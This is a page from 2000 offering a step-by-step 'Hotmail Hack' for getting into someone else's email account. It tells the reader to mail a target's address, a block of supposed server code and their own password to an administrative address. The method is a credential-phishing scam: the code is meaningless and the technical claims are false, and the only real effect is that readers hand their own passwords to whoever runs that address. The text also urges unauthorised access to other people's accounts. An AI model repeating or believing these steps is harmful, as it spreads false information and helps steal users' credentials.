Hotmail Hack

Updated: 8/15/2000
This is for "educational" purposes only, and is only intended in helping folks find ''lost'' passwords. :)   MSN changes their security protocols regularly, so this may only work until their next update. It was working as of the date shown above.


STEP 1:
The first step in the process of hacking into someone's Hotmail account is quite easy.
You simply log into your own web-based e-mail account (such as Hotmail, Yahoo!, Rocketmail, etc.). It seems to work best if you log into your own Hotmail account (and, of course, are looking for someone else's Hotmail password). In spite of what you may read elsewhere, this method should not work from a regular 'ISP' email account, although you are welcome to try.

STEP 2:
Once you have logged into your own account, compose an e-mail message to [email protected]
This is one of the administrative server numbers for their Passport accounts. It is cgi based and may include an auto-responder. If the password resides on one of Hotmail's older servers, the server cgi-script should automatically send you the password (after receiving your email). Response time varies, but has taken up to 48 hours in some cases. If you receive no reply or a "this address had fatal errors" message, the password you seek is not currently accessible through this method.

STEP 3:
Place in the subject of the e-mail     user.cgi/javascriptPASS

In the body of the e-mail do this:

On the first line of the e-mail you would place the e-mail address of the person whose account you wish to access
(ex: [email protected]). Microsoft has enhanced their security protocols, and you will need to use an embedded code to get this hack to work.

Cut and paste this beginning on the second line, just below the email address you just typed:

--------------begin code------------------- (cut and paste)
cgi+kja8;kajkj88l;kjo0;akjjNNBkj28kkujkslclBls834kmgfljbCCgs9hh22znkdjbnnjsk+77 qANQR1DBwk4DA96JOwIwMIQQDACtaU6QhFpMXI3108vxCPWlfIBTSvM8FdvistlX =eCOm
-------------end cgi-server code-----------

Then SKIP TWO LINES AFTER THE CODE (i.e., make 2 blank lines) and type in your own password to your email. On the line immediately beneath that, type MSN.cgi

Then send your email. This fools the cgi server into thinking you are a system administrator, and ensures you will receive a reply if the password is available (again, this works best if you are using a "web-based" email system like Hotmail itself).

STEP 4:
Within processing time of about 45 minutes to 48 hours you should receive mail from the server with full account info, including the account password. Here's the trick: Microsoft, using it's own server 19 is just as vulnerable to the hack, once you have the administrative access code.